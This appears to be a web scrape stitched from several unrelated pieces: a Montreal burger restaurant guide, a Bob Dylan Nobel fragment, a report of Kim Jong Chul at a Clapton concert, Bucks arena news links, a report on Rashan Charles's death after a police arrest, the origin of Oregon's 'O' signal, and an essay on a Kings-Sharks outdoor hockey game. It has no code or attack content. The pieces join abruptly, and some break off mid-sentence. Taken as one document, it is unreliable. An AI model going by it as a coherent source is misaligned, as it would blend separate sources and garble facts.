“So many hamburgers, so little time,” were the words I mumbled to myself when researching where to eat hamburgers in Montreal. The lists are endless, as are the comments underneath. From the hordes chowing down at Dilallo Burger, to the families lining up at La Boulette, to the epicures who opt for a burger at the Ritz’s Maison Boulud (smart move, it’s a winner), let there be no doubt that Montrealers are smitten with this most famous of sandwiches. And burgers have taken on a new popularity, with a new burger joint seemingly popping up every day. We can enjoy a two-bite slider or a gourmet burger built up so high only the biggest mouths need apply.
Toppings are the subject of heated debate. A single slice of gooey processed cheese and/or a slice of pickle work wonders at enhancing a burger, yet an excess of truffle oil, caramelized onions or even nose-hair-singing peppers can mask the flavour of the meat. Guacamole, a good thing or a bad thing on a burger? A dry burger is sad, but a hamburger so moist that it falls to pieces when you pick it up is worse. But even if you craft the perfect hamburger, the truth is in the eating: is the meat mix interesting and properly caramelized, is the bun in proportion to the meat, are the condiments enhancing or overwhelming? And what’s with all that spotlight-hogging mustard?
The quest for the Holy Grail of burgers is endless. You can taste one made by a famous chef that leaves you cold, or enjoy one at the backyard barbecue of a neighbour that makes you tear up with its brilliance. My mother always added smashed up barbecue chips to the meat (excellent), and there’s a lot to be said for the ol’ Lipton’s onion soup mix added in there, too (a smart beginner move).
To this day, the best hamburger I ever tasted was at a cafeteria at the old Dorval airport, which disappeared when the international terminal was renovated. Or was it in New Hampshire at that pub in North Conway? Or was it at the sadly defunct M:BRGR the day they opened? Hard to say … there have been so many!
To find some of the best burgers in the city, I tasted more than a dozen over the past few weeks to narrow my choices down. Then I added four previously praised in these pages. Like all foods, burgers are a matter of personal taste, so I tried to stick to the same formula of an all-dressed cheeseburger.
So many burger restaurants offer a plethora of toppings and options, but this list isn’t about finding the “ultimate” burger. This is a list of burgers I recommend. Burgers I’m eager to sink my teeth into again. Burgers I hope will please you, too.
Familiar ground
These four burgers have already been lauded in these pages, but they’re so good that they deserve a second endorsement.
Maison Boulud (1228 Sherbrooke St. W., Montreal, maisonboulud.com/montreal)
One of the top burgers in town, the Boulud Burger is a petite burger on a homemade pepper brioche bun, topped with arugula, confit of pork belly, raw red onions and ripe tomatoes, aged cheddar and bacon optional. Seriously delicious, this burger is moist, full-flavoured, easy to eat in an elegant setting with an air of sophistication. The bun to patty ratio is excellent, even if the patty is thicker than most. Every bite of this baby is a treat: the tangy cheese, the peppery kick from the greens, the boost of flavour from the pork and that nice fruity fix from the tomatoes.
(Classic Burger with fries, $23)
Brasserie Harricana (95 Jean-Talon St. W., Montreal, brasserieharricana.com)
The hamburger doesn’t need enhancing because it’s already loaded with fixings (bacon, cheddar, pickles, etc.) and it’s just terrific. This is the big, juicy hamburger you enjoy with fries and homemade coleslaw, which you can make one better with an added fried oyster on top.
($18 for burger and fries, or $20 with a fried oyster garnish)
Brasserie T! (1425 Jeanne Mance St., Montreal, brasserie-t.com)
Garnished simply with a slice of tomato, lettuce leaf, onion and cheese (cheddar or gruyère), this burger is nice and chunky — not too thin a patty. The beef is aged three to four weeks, ground and mixed with Parmesan, egg yolks, breadcrumbs, herbs and spices. It’s a bit heavy on the bun (even if it’s a good one from Hof Kelsten bakery), but otherwise my go-to item on their menu.
(Cheeseburger with fries, $18)
Lawrence (5201 St-Laurent Blvd., Montreal, lawrencerestaurant.com)
I have long loved the homey burger paired with pudgy Brit-style chips, a popular lunch special you’ll spot on many tables throughout this oft-crowded room. It’s thick, juicy (I’m told Marc Cohen boosts the burger with bone marrow) and topped simply with lettuce, tomato and mayo. It’s a tasty, no-nonsense burger, and the bun-to-patty ratio is excellent.
(Hamburger with fries, $14)
New favourites
Gourmet
Le Nouveau Palais (281 Bernard St. W., Montreal, nouveaupalais.com)
This burger always grabs me for its perfect balance of bun (challah roll) to medium-well cooked meat, to perfect garnishes, including onions, bacon, cheese, mayo. Bite after bite, it all just works. The restaurant behind the Winneburger food truck reputed for its fine two-bite burgers, Nouveau Palais also offers a brunch burger topped with a fried egg. Yum!
(Burger du Nouveau Palais with fries, $11.45, plus $1.50 with cheese)
Anecdote (801 Rachel St. E., Montreal)
Back in the 1990s, the two destinations for hamburgers on the Plateau were first, the now sadly defunct La Paryse, and second, L’Anecdote. The makeup of the burgers was similar — beef patty, mushrooms, Emmental, bacon, lettuce, tomato and mayonnaise — and both were terrific. I dropped l’Anecdote for a while, but recently returned and was I ever happy I did. What a hamburger! The beauty here is not the bun (simple Kaiser roll) or fancy meat, but the composition of the whole. With just the right toppings, this burger is juicy, but not overly so, offers diverse textures and a great melding of flavours. The fries are great, too, but we’ll save that for another time.
(L’Anecdote Classique, $7.90)
Notre-Boeuf-de-Grâce (three locations: 5732 Sherbrooke St. W. and 1388 de Maisonneuve Ave. W. in Montreal and 3834 Côte-Vertu Blvd. in Ville St-Laurent; notreboeufdegrace.ca)
This N.D.G. original came highly recommend from several burger aficionados. I sampled the burger at the downtown outlet and was pleasantly surprised. The towering burger had a soft bun and a generous, juicy patty garnished with iceberg lettuce, tomatoes and their tangy house sauce. The taste of beef dominates this burger, and the freshness and crunch of the toppings made it scarfable. Not to be missed!
(Boeuf de Grâce classique, $8)
Mr. Steer (1198 Ste-Catherine St. W., Montreal, mistersteer.com)
Since 1958, this downtown burger diner, a Montreal institution, has sold one of the city’s best burgers — and is still excellent. It’s on the small side (you might want to consider the platter with two), the bun is as plain as it gets, and the patty, made with Kosher beef, is one of the thickest on offer. It’s also chargrilled to a blackened exterior. The fixings on the Steerburger are classic; don’t bother with the extra bacon, but I’d go for the cheeseburger. One bite in and you’ll taste a perfectly seasoned, juicy burger where the meat shines above all. So simple, it puts all those overly done up burgers to shame.
(Mister Cheeseburger, $10.25)
La Boulette (2223 Beaubien St. E., Montreal, laboulette.ca)
This is the sandwich for those who like their burgers tall, thick and moist without being mushy. The meat here is grilled, the flavour is great, and the options for toppings and side dishes make the Rosemont resto a big draw (expect a line at the door at peak times). In fact, there are so many good things here, I now opt for their chicken burger because the hamburger is tough to finish, especially if you cap off the meal with their unbelievable pouding chômer.
(La Classique $12.75)
Burger de Ville (three locations: 7093 Jarry St. E. in Anjou, 5282 St-Laurent Blvd. in Montreal and 59 Westminster Ave. N. in Montreal West; burgerdeville.com)
Recommended to me by a butcher friend years ago, Burger de Ville offers a build-your-burger format with all condiments and garnishes added to the basic burger. The bun, a sort of flattened Kaiser roll, is nothing special; the meat is the star of this sandwich, with just the right hit of salt and pepper and a deep, grilled beef flavour. The bun-to-patty ratio favours the patty, but this meat’s so good it makes sense. This is one great burger.
(Cheeseburger, $7)
Snack-bar style
Chez Tousignant (6956 Drolet St., Montreal, cheztousignant.com)
The casse-croûte-style “smash burger” is deeply caramelized on a flat top, placed on a homemade potato bun and garnished with lettuce, tomato, cheese, pickles and Tousignant sauce. The meat-to-bun ratio here is perfect, and the seasoning plays just on the edge of saltiness right into the hands of deliciousness. This burger is rich and moist and, again, just on the verge of being a bit too greasy — but boy, is it a sensual experience. Add a hit of sour from the pickles inside as well as a welcome hit of crunch in the middle of all the soft textures: A winner.
(Cheeseburger, $7.50)
Uniburger (two locations: 302 Ontario St. E., 5655 Côte-des-Neiges Rd. in Montreal; uniburger.com)
Easily the least visually attractive burger of the lot, the Uniburger is an interesting study in what makes for hamburger success. The potato buns, imported from south of the border I’m told, are super soft and squishy, and the hamburger patty is thin and caramelized, making it the ideal bun-to-patty ratio. Add a slice of processed cheese, lettuce, tomato and onion (cut a bit thick to my taste), as well as the secret Uniburger sauce, and you have what really is a rather sad looking burger that delivers on both taste and texture. What a treat!
(Cheeseburger, $4.99)
Chez Philippe (1877 Amherst St., Montreal, patateriechezphilippe.com)
Since 1962, the casse-croute has been drawing in fans for its poutine, fried hotdogs and especially, its textbook burger. The bun is a no-nonsense affair, thin and quite soft. The meat is excellent, a beautifully even brown with the requisite “smash burger” crust. The garnishes include the classic onion, tomato, cheese, relish and — alas — that much too much American mustard. Interestingly enough, Chez Tousignant chef/partner Yann Turcotte says his burger was inspired by this one, and you can see the similarities.
(Cheeseburger, $4.55)
Fast food
Five Guys (five locations: 698 Ste-Catherine St. W. and 468 McGill St. in Montreal; 8840 Leduc Blvd., Suite 50, in Brossard; 3530 Sources Blvd. in Dollard-Des Ormeaux; 1371 Michèle-Bohec Blvd. Suite D5, in Blainville; fiveguys.com)
I’m including only one fast-food burger, and it has to be Five Guys, an American chain that now has several outlets in Quebec. A fast-food burger tends to be dry and soulless, but that’s the last thing you’d say about this one. Their all-dressed burger is assembled on a soft bun, with a medium-thick patty, smash-fried on a flat-top to an even golden crust with excellent beef flavour. Toppings are optional, but the all-dressed version includes lettuce, tomato, cheese, sautéed onions, mushrooms, mayo, ketchup and mustard. The resulting burger, when released from its foil wrapper, is rather gooey and comes apart in your hand, dripping a mess of condiments. Still, it is delicious. Ask that the burger not be wrapped to avoid a steamed, super soft texture. Go easy on the fries — the portion is outrageous.
(All-dressed cheeseburger, $8.29)
What makes a great burger?
Your likes are sure to be different from mine. But after analyzing a boatload of burgers, I’ve come up with several factors that separate a merely good burger from a great one.
It’s all about the meat
There are several options when it comes to patty makeup. Burger snobs insist on patties with a high-fat content, about 25 per cent for prime juiciness. As for the choice of meats, New Jersey butcher, Pat LaFrieda made his combination of short rib, brisket and sirloin (ground daily) the blend of choice. Seasoning is a topic up for debate as well. Is the meat salted at the mixing stage, or just before hitting the griddle? And what about add-ins? Breadcrumbs lighten the texture of the patty, but too many spices distract from the beef flavour. If the meat is packed too tightly, you have one tough burger. Too loosely formed, and it falls apart on your plate. So many variables! As for cooking, always request your burger medium rare. Charcoal-grilled burgers, with a blackened crust and a slightly pink centre, deliver a fine smoky aftertaste. There’s also a lot to be said for the increasingly popular “smash burger.” The smash burger aims for one thing: an even, caramelized crust. The technique is to drop a ball of meat on a hot, un-oiled griddle, then press it down firmly into a thin, flat disk so the entire patty gets crusty. The idea is to increase what’s known as the “Maillard reaction,” whereby a series of chemical reactions creates the brown crust on meat that gives great flavour. This style of cooking is typical of fast-food and snack bar style burgers. The results? Delicious!
The bun, though, important, cannot play a leading roll
When the bun overwhelms, the burger is weighed down. And if the bun is too sweet, the burger can be cloying. The best buns play a supporting role. And for the best soft texture, a potato bun cannot be beat. The bun is basically just the handles of the burger, with its ideal size about the same thickness of the patty.
Condiments can make or break a burger
I tasted a few potentially great burgers ruined by the excess of mustard. An overly generous smear of mayonnaise makes the whole thing too gloopy. The best-case scenario is the use of a special sauce that combines many condiments into one. A little hit of spice is always welcome, but anything more overwhelms.
Garnish: Is less more?
The classic garnish of lettuce (iceberg is crunchiest), a slice of tomato and a few rounds of red onion is my idea of bliss. Caramelized onion brings an unwanted sweetness to the mix; mushrooms work in some circumstances, but tend to slice out when eating. Arugula adds a welcome bitterness to an overly sweet burger. As for bacon, I just don’t get it, but never pass up a few slices of pickle.
The architecture of the sandwich is crucial
The combination of soft bun, chewy meat and crisp and juicy condiments must be kept in proportion. Too towering a burger is a mess to manage. The best burgers are thin and small. I’d prefer two thin burgers over one monster.
Cheese, please
It makes all the difference. Opt for the cheeseburger when you can, it adds an extra hit of richness and creaminess that saves many a burger from boredom. And as for the cheese itself, keep your fancy cheese for an occasion. A simple slice of commercial cheddar is hard to beat.
Temperature cannot be underestimated
Burgers must be piping hot! A lukewarm burger is a missed opportunity. When possible, avoid having your burger wrapped in foil, which steams the sandwich and makes the garnishes wilt. Not good.
Don’t make it something it’s not
When you start loading on the toppings and outlandish condiments, you’re turning your burger into a sort of fancy gourmet sandwich. Resist the garnish overkill. Even in a veggie burger, the patty should be the star of the show.
Looks can be deceiving
They used a brioche bun, they ground the meat in-house, the garnishes are super fresh and the condiments are just so. One bite in though and … meh. Meanwhile, that sad-looking, little fast food burger tastes pretty darn good. You never know how good a burger will be until you take that first bite.
The juicy factor
A hamburger MUST be juicy. If it’s not, you might as well be eating a ham sandwich.As Elvis Costello said in his own recent memoir, “If you want a long career, you have to drive people away now and again, so they realize they miss you.”
Everyone has his or her own private anthology of favorite Dylan lyrics. Mine come from songs including “Idiot Wind” (“blowing every time you move your teeth”); “Brownsville Girl” (“Strange how people who suffer together have stronger connections than people who are most content”); “Hurricane,” written with Jacques Levy (“How can the life of such a man/be in the palm of some fool’s hand?”); “Sweetheart Like You” (“It’s done with a flick of the wrist”); and “Yea! Heavy and a Bottle of Bread,” written with the Band (“Pack up the meat, sweet, we’re headin’ out”).
Then there’s this, from “Blind Willie McTell”:
Well, God is in His heaven,
And we all want what’s his.
But power and greed and corruptible seed,
Seem to be all that there is.
Before this Nobel Prize, Mr. Dylan has been recognized by the world of literature and poetry. In 2008, the Pulitzer Prize jury awarded him a special citation “for his profound impact on popular music and American culture, marked by lyrical compositions of extraordinary poetic power.”
His songs have always packed social and political power to match the imagery. In his book “The Beautiful Struggle: A Father, Two Sons, and an Unlikely Road to Manhood,” Ta-Nehisi Coates spoke of what Mr. Dylan’s songs meant to his father as well as to a generation:
“Dylan’s voice was awful, an aged quaver that sounded nothing like the deep-throated or silky R&B that Dad took as gospel. But the lyrics wore him down, until he played Dylan in that addicted manner of college kids who cordon off portions to decipher the prophecies of their favorite band. Dad heard poetry, but more than that an angle that confirmed what a latent part of him had already suspected.” What was confirmed was this: The Vietnam War was a moral disgrace.
Songs are not poems, exactly. Songs prick our senses in different manner. Many of Mr. Dylan’s lyrics can no doubt, as Mr. Larkin put, look half-baked when set starkly alone on a white page.
But Mr. Dylan’s work — “with its iambics, its clackety-clack rhymes, and its scattergun images,” as the critic Robert Christgau wrote — has its own kind of emblematic verbal genius. His diction, focus and tone are those of a caustically gifted word man; his metrical dexterity is everywhere apparent. He is capable of rhetorical organization; more often he scatters his rhetoric like seed, or like curses.
This award is also a sign —after last year’s laureate, Svetlana Alexievich, whose work is made up of interviews — that the Swedish Academy is increasingly open to nontraditional forms of writing.Since becoming supreme leader of North Korea in December 2011, Kim Jong Un has not publicly announced any foreign trips, leading some to suspect that the young autocrat has some kind of aversion to international travel. This policy of avoiding foreign travel clearly does not extend to all members of the Kim family: Just this week, his elder brother was spotted in London.
The sighting of a member of one of the world's most notorious political dynasties in the West would be newsworthy in itself. But what's also remarkable is what Kim Jong Chul was apparently doing in the British capital. He was seen at an Eric Clapton concert at the Royal Albert Hall. And it appears he didn't just go once: According to NK News, he may have gone to see Clapton two nights in a row.
"He was having a great time, singing along to all the words," Simeon Paterson, a BBC journalist who saw Kim Jong Chul at one of the concerts, said. South Korean news agency Yonhap reported that the North Korean entourage appeared to have been staying at the Chelsea Harbour Hotel, where rooms can cost more than $3,000 a |
it's just the latest bit of news in what's been a busy week on that front. Some more mandatory reading:
JS: Seattle mayor not expecting Bucks relocation after NBA meeting
Don Walker writes that Adam Silver and league officials told Seattle Mayor Ed Murray this week that they do not see the Bucks relocating. So that's good, eh?
In an interview with the Seattle Times, Murray said he believed the Bucks might be a relocation candidate if the Milwaukee franchise can't get a new arena deal. The Bucks are facing an NBA-imposed deadline of the fall of 2017 to have an arena in place. But after meeting with Silver, Murray told the newspaper that the commissioner shot down any chance of moving Milwaukee. "They were very clear that they see them staying," Murray told the newspaper. "Their official line, and I think they're being straightforward with me, is a city grabbing a team or a new (expansion) franchise at this point is not, in their mind, something they see happening,'' Murray told the newspaper Thursday. Murray met with Silver and other league officials earlier this week.
Save Our Bucks: Arena location options narrow
Another really good read from the Save Our Bucks gang on the arena situation, this time taking stock of the fizzling Journal Square negotiations and why a return to the vacant Park East corridor might be the team's best bet going forward.The police watchdog is investigating excessive use of force after a young father fleeing police died after he was wrestled to the floor by an officer.
Scotland Yard said the 20-year-old man, named by his family as Rashan Jermaine Charles, was trying to'swallow an object' and an officer was trying to prevent him from harming himself.
Footage of the arrest when viral across the internet after a friend of the family shared it, late last night. It shows the moments that followed after Mr Charles ran into the store, in Kingsland Road, east London at 1.45am yesterday morning after failing to stop for police.
Scroll down for video
The man has been named locally as Rashan Charles, a 20-year-old man from London
In footage obtained by MailOnline an officer appears to restrain Mr Charles on the floor of the shop, in Kingsland Road, east London, at 1.45am on Saturday
At the beginning of the footage obtained by MailOnline, Mr Charles can be seen walking into the shop before an officer attempts to arrest him.
He is wrestled to the floor as he appears to try to swallow an item. The policeman can be seen holding his hand briefly over the Mr Charles' mouth.
As the suspect struggles on the floor, a bystander in to help the policeman with the arrest. After they put the handcuffs on, it appears the man has stopped breathing and the officer removes his hat as he radios for help.
Moments later, two more officers arrive on the scene and the video is cut off.
Police and the IPCC said the man was pronounced dead at the Royal London Hospital but would not comment on whether he stopped breathing beforehand.
A force spokesman said the Independent Police Complaint's Commission was now investigating.
Tributes have been pouring in for Mr Charles, with a family friend saying he was visiting his grandmother just moments before the incident.
Devastated: Friends and family gathered outside the shop in Hackney this afternoon following Mr Charles' death
Today friends and family have gathered at the scene in Hackney to lay flowers and to mourn the loss of a man they say 'never out to harm anyone,'.
Speaking this afternoon, the mother of his daughter Jada, 19, said: 'He was a really good guy. Obviously everyone has their ups and downs but he was never out to harm anyone. But he was a good guy.
'He was close to all his family and close to all his friends. You trust officers, and that's what they do, they take lives.'
She added that he and his mother had been shot in an attack earlier this year and he had been injured in the leg while his mum had been shot in the head.
She said: 'I first met him from the area. I knew him from the area during school days and he was a funny guy. We actually met when I tripped up. 'I was on roller skates and I tripped up and he laughed at me and we just started talking.'
A friend of Rashan, who came down to the scene said he has two younger sisters and a younger brother. He said: 'This family has been through so much, and now they have lost him. It's a lot for them to go through.
A family friend said Mr Charles had been visiting his grandmother just hours before the the incident. Pictured above, grieving friends at the scene in east London
He also said Rashan had been the 'victim of police harassment' with stop and search.
Family friend Shirley Watkis told MailOnline the footage appearing to show Rashan's final moments was leaked and distributed by friends.
'If this wasn't released, we never would have known what happened. It went viral, it's been everywhere, otherwise this would have been covered up and we would have believed them,' she said.
Having known Rashan nearly all his life, Ms Watkis described him as'respectful'.
'Like every young man he could be challenging but he was always respectful and showed so much respect to me,' she added.
Ms Wakis announced the news online yesterday, writing: 'To all my Facebook friends and family, it is with great sadness I announce the death of 20-year-old Rashan Charles after being stopped by police in Hackney in the early hours of this morning.
'The family is so shocked and in disbelief because he only just left his grandmother's house to return home after a visit. Within a short while he was dead.
'The police complaint's authority is dealing with it. Please pray for his family.'
This evening around 20 friends gathered outside the convenience store.
Tragic: A friend of Mr Charles lighting a candle outside the convenience shop on Kingsland Road
Tribute: Another friend adds a bouquet of flowers to the make-shift bowl placed by the shop's entrance
Tributes: A family friend posted a tribute to Rashan on Facebook following the tragic news
Tonight police chiefs urged the public to follow the progress of the IPCC's investigation amid fears of mounting speculation.
The Met's chief superintendent Simon Laurence, borough commander for Hackney: 'A man, who was in the car, was pursued on foot before entering a shop where he was seen to be trying to swallow an object. He was then taken ill.
'He was taken to hospital by the London Ambulance Service where, sadly, he died later that morning. Our thoughts remain with his family and friends.'
Supt Laurence said the officer's body camera was being reviewed by the IPCC.
He added: 'There is likely to be speculation over the next few days regarding what led to this man becoming ill, so I would encourage people to keep up-to-date with the IPCC's statements, as and when they are released.
'All police officers are fully aware that they will be asked to account for their actions - officers are not exempt from the law and we would not wish to be.'
In the clip, the policeman appears to be locked in a struggle with the man when a bystander joins in to help. Shortly after they appear to realise he is no longer breathing
A force spokesman said the Independent Police Complaint's Commission was now investigating
A spokesman for Scotland Yard said: 'The man entered a shop in Kingsland Road, where he was seen to be trying to swallow an object.
'The officer intervened and sought to prevent the man from harming himself, but he was then taken ill.'
London Ambulance Service attended, and before they arrived first aid was provided by officers, including a police medic.
A spokesman for the IPCC told MailOnline they were investigating the contact between the police officer and the man who died.
CCTV footage from inside the shop and police body worn video has also been gathered and viewed.
They said they were contacted by the Met Police at 2.45am and an independent investigation was launched - less than an hour and a half after police pursued the man. The Directorate of Professional Standards has also been informed.
London Ambulance Service attended, and before they arrived first aid was provided by officers, including a police medic.
Investigators are keen to speak to any witnesses who were in the Kingsland Road/ Middleton Road area of Hackney.
Anyone with information should contact investigators by emailing [email protected] War football game 2001 season. Ducks quarterback Joey Harrington takes a knee to run out the clock on his final snap in Autzen Stadium. Oregon wins 17-14, and has a date with the Fiesta Bowl, but Harrington realizes as he's leaving the field that he doesn't want the day to end.
"We're walking back up the tunnel and through my career I'd noticed that the band director made that 'O' symbol with his hands to signal to the band that he wanted them to play the fight song," Harrington said. "The crowd is loud, so you can't yell, 'Play the fight song!' so instead, he'd come up with the 'O' symbol and he'd give the symbol and the band would play the song."
Bruce Ely, photographer at The Oregonian, is on the field, too. In the initial minutes after the game Ely begins tracking Harrington. The Ducks senior quarterback hadn't had a particularly great game. Harrington was 11 of 22 passing for only 102 yards. He fumbled deep in Ducks territory in the final two minutes, leaving the door open for Oregon State. The Beavers threw an interception on the ensuing possession.
Ely pulled the negatives of the photographs he took in the minutes after the game.
"I remember Joey was yelling at me to get out of his way," Ely said. "You know how chaotic it always is at the end of those games. Fans are jumping in, I'm always trying to find the player who is most important at that time. And at that time, it's Joey. This is his last game. It was kind of like Marcus Mariota's last game. There's this scramble at the end, everyone is elbowing each other, it was pretty rough out there."
Harrington waded through the crowd he said, "I'm walking toward the tunnel for the last time and I had one of those nostalgic moments. I wanted to hear the fight song one more time."
Harrington stood in front of the band, which was playing another song.
"I made the 'O' signal," he said. "I wanted to hear it one more time."
The band stopped what it was playing, and immediately started playing the fight song --- Mighty Oregon.
Ely was in position, and captured the image. So did Eugene Register-Guard photographer Thomas Boyd, now with The Oregonian.
"I remember calling editors and telling them it would be a cool picture for the front page," Ely said. "It took off from there. I think Tom and I are the only two people that happened to be in position."
The photograph of Harrington making the 'O' signal ran on the front page of The Oregonian the following day. Harrington made the signal again at the Fiesta Bowl. In the last 13 years, players and fans have continued the signal, fashioning the 'O' with their hands. Nike gloves, and other swag and memorabilia, have been made printed with the 'O'. It's become a universal non-verbal rally cry for the university.
"Did I invent the 'O'?" Harrington said. "No. Was I the first player to use it in that fashion? Yes. But it's not for the purposes that everyone does it today."
Former Oregon Band Director Todd Zimbelman said, "It was hard to communicate. We had all these different hand signals. We used 'A' for 'All Right Now,' and 'O' for the fight song. When Joey ran over, he threw that up and we just kicked off the fight song."
Zimbelman served as the band director from 1999-2005. He's now the band director at West Salem High and said he believed the 'O' signal originated with Steven Paul, who was band director at UO from 1983-89. That's backed up by Phil Hodapp, a clarinet major who played in the Ducks band from 1979-81. Hodapp said the hand signal didn't appear until the Paul-led Oregon bands were playing.
"You can't hear a clarinet in a stadium, so I played saxophones or whatever they needed," said Hodapp, who happened to be sitting in the stadium as a spectator during the 2001 Civil War. "I was sitting right by the band that day. Joey came over, and made the sign and the band just stopped playing whatever it was playing and started the fight song."
The symbol turns 13 this week. It's a teenager. And even as the Oregon players and some fans don't know the origin, they raise two hands on game days, a symbol invented by a band director and thrust into program culture by Harrington.
Zimbelman said, "It didn't catch on until Joey started doing it. It became stadium-wide after that moment."
---On Saturday, they played a hockey game outdoors in California, and it says something about the evolution of the NHL that the whole thing didn’t seem all that remarkable.
That’s not supposed to be the case with these outdoor games, and it certainly wasn’t the case last year when the league set up shop at Dodger Stadium. That game felt like something wholly unique, with beach volleyball and a marching band and a performance by Kiss, as hockey fans across the continent tuned in to find out whether the ice would melt. It didn’t. In the end, it all came together perfectly.
This year’s game, played in front of just more than 70,000 fans at Levi’s Stadium, didn’t carry that same first-time curiosity factor, and that may help explain why there seemed to be so little buzz about it. Heading into Saturday, there was as much focus on the standings as on the setting. This was perhaps the league’s first outdoor game where the emphasis was firmly on the “game” part of the equation.
In the last decade, the state of California has won three Stanley Cups, one Presidents’ Trophy, and two MVPs, all while serving up the best three-way rivalry in the sport. The state’s teams have been so good for so long that fans around the league now warily eye their favorite team’s schedule for the dreaded California Road Trip of Doom.
So when it comes to California hockey, there’s an overwhelming temptation to ignore the past, because the present is just so much better. But you’d be missing out if you did, because the history of the NHL in California is rich and deep and completely ridiculous. And it was hard not to think about that on a Saturday night at a football stadium.
♦♦♦
The L.A. Kings arrived in 1967 as part of the NHL’s first wave of expansion, and they weren’t very good. In the ’70s, they were best known for helping to build the Canadiens’ dynasty by continually giving their top draft picks to Sam Pollock. In the ’80s, their main job was to be just competitive enough to occasionally make the powerhouse Oilers (and later Flames) break a sweat. And they looked ridiculous, wearing awful yellow and purple uniforms. If you squinted just right, it looked like Wayne Gretzky and friends were skating circles around a bunch of bruised bananas.
That Gretzky guy turned out to be pretty important a few years later, when he was traded to the Kings in 1988. That move put the Kings on the map. They switched to modern-looking black and silver uniforms, and suddenly, almost overnight, the Los Angeles Kings were cool. But it was an L.A. cool, and in hockey, that’s not a compliment. After all, you still had the B-list celebrities and Barry Melrose’s mullet and that blue bandanna thing that Kelly Hrudey wore.
For most of their first four decades, the Kings were one big punch line. Two Stanley Cups later, nobody’s laughing anymore.
♦♦♦
The San Jose Sharks entered the league in 1991 as a quasi expansion team, part of a complicated split from the Minnesota North Stars that nobody really seemed to fully understand. They played in something called the Cow Palace, took to the ice by skating through a giant shark’s head, and introduced the word “teal” to the hockey world’s vocabulary.
They were also terrible. They finished dead last in each of their first two years, establishing a league record for most losses in a season in 1992-93. But they made the playoffs in 1994 and even won a round thanks to Chris Osgood’s brain cramp. That would start a run of 17 playoff appearances in 20 years. They’ve won six division titles and had seven 100-point seasons.
They’ve also never lost a Stanley Cup final game, which sounds nice except that they’ve never won one either. That’s the reputation the Sharks have forged over two decades: Year after year, they’re good in the regular season and then find a way to fall apart in the playoffs.
And that brings us back to the Los Angeles Kings.
♦♦♦
Until very recently, the Kings had spent the entire season desperately trying to look like a bad team and not fooling anyone.
When the matchup between the Sharks and Kings was announced last summer, it was projected as a grudge match between two of the league’s elite teams. The Kings are the defending champions. The Sharks have been one of the league’s top regular-season teams for more than a decade but just can’t get over the hump in the playoffs, and in each of the last two years that hump has been the Kings. These were two very good teams that didn’t like each other very much. That was the plan.
The first part of that plan hasn’t really worked out. Both teams have struggled, and instead of Saturday’s game being a showdown for top spot in the Pacific, it was a battle for the conference’s final wild-card spot. Despite a six-game winning streak, the Kings went into the weekend having lost more games than they’d won. They’ve been chasing a playoff spot for most of the last few months. And yet nobody seems to want to count them out, because they’ve been down this road before in 2012 and 2014, and we know how that turned out. A few Stanley Cup rings will buy you some benefit of the doubt.
The Sharks do not get the benefit of the doubt, because they’re the Sharks, and we’ll get to that in a second. They went into the game holding down that final playoff spot, two points up on Los Angeles. But the Sharks were stumbling, having won just three of 10 games in February. There’s a good chance there won’t be room for both teams in the playoffs.
Of course, that just made the stakes feel higher, and on Friday, players on both teams kept coming back to the importance of blocking out all the hype and just getting those two precious points. That’s standard talk for these outdoor games, but these guys sounded like they meant it. After all, the part about not liking each other still stands. In the last five seasons, no two teams have faced each other as often as the Kings and Sharks, and they rarely come out of those contests in good spirits.
“We’ve kind of developed a pretty good rivalry over the years,” Sharks forward Tommy Wingels said. “You always want to knock off the team that’s on top, and right now that’s them. So every game we play them, we’ve developed a dislike for each other … but that’s good.”
That dislike didn’t show itself much in the early stages on Saturday — for some reason, NHL players always seem to be on their best behavior in these showcase games — but as the game wore on, the intensity picked up. Post-whistle scrums became common, several involving John Scott looking like he wanted to punch anyone within arm’s reach, which is to say everyone. If you wanted to win a game in this football stadium, you were going to have to fight for every yard.
The Kings came out strong and controlled much of the first period, perhaps enjoying some advantage from having played outdoors once before. They jumped out to the lead when Kyle Clifford tipped in Jake Muzzin’s shot less than three minutes in. But as the period wore on, the Sharks seemed to find their legs, and they were rewarded with a minute left when Brent Burns seemed to surprise Jonathan Quick with a shot right off a faceoff.
Tied 1-1 after one period, the Sharks hadn’t played well. But they survived.
♦♦♦
Not to put too fine a point on it, but there’s reason to think the San Jose Sharks may be broken, and that we can blame the Kings for breaking them.
When the Kings came back from a 3-0 series deficit to eliminate the Sharks in the first round of last year’s playoffs, something inside the San Jose franchise seemed to snap. “As far as our year goes, our year started after we lost Game 7; it didn’t just start in Game 1,” said Sharks coach Todd McLellan after Friday’s practice. “It started with a number of decisions we made as an organization.”
Some of those decisions look questionable now. The team appeared to blame Joe Thornton, letting their longtime captain and franchise player twist in the wind of trade rumors and then stripping him of his C. They swore they’d rebuild, then barely did anything. They made us wait for the naming of a new captain, then didn’t bother. On the eve of the season, they talked about emerging from that devastating playoff loss a tougher, better team. So far, they’ve been anything but.
In a twisted way, this could all work out for the Sharks. They’ve spent most of the past two decades playing the role of the favorites that can’t quite get it done. Maybe this is the year they sneak into the playoffs as underdogs, are all but written off, and then find the kind of hot streak that some team always finds, usually against San Jose.
It could happen. But it looks like they’ll have to go through the Kings to get there yet again, this time in the regular season.
All of which made it somehow fitting that Saturday’s game started to increasingly feel like a playoff game, in style if not quite in atmosphere. The score stayed tied at 1-1 through a hard-fought second period, with space tight and scoring chances rare.
And after a strong Kings start, it was the Sharks’ turn to control the play. After the game, McLellan said they made an intermission adjustment to focus on playing a north-south game through the neutral zone after realizing that the outdoor ice didn’t allow for intricate passing. It worked, and the Sharks dominated long stretches. But it didn’t translate into a goal. For the first 19 minutes of the second period, Quick turned San Jose’s shooters away; in the final minute, his goalpost did the job against Logan Couture.
After two periods it was still tied 1-1, and you had your pick of narratives heading into the third. The Sharks had the chance to finally beat these Kings when it mattered. The Kings had a chance to twist the knife even further.
♦♦♦
There’s a third California team, of course: the Anaheim Ducks. The Ducks have their own checkered history, one that starts off with a professional sports franchise being named after a children’s movie and includes a fever-dream opening night ceremony featuring dancing mushroom men and a mascot named Iceman who was fired after one game. California hockey, man. It’s always something.
The Ducks weren’t involved in the weekend’s festivities, but they loomed over it. The Ducks have spent most of the season pushing for the top spot in the league and have all but locked up first place in the Pacific. With the Sharks and Kings fighting for a possible wild-card spot, there’s a good chance that one of these teams will face the Ducks in the first round.
That’s some prize: Claw and scratch your way through the next 20 games or so, and you might get to face one of the best teams in the league in the first round. But hey, it’s still the playoffs. What’s the worst that could happen?
Oh, right. Sorry, Sharks fans.
♦♦♦
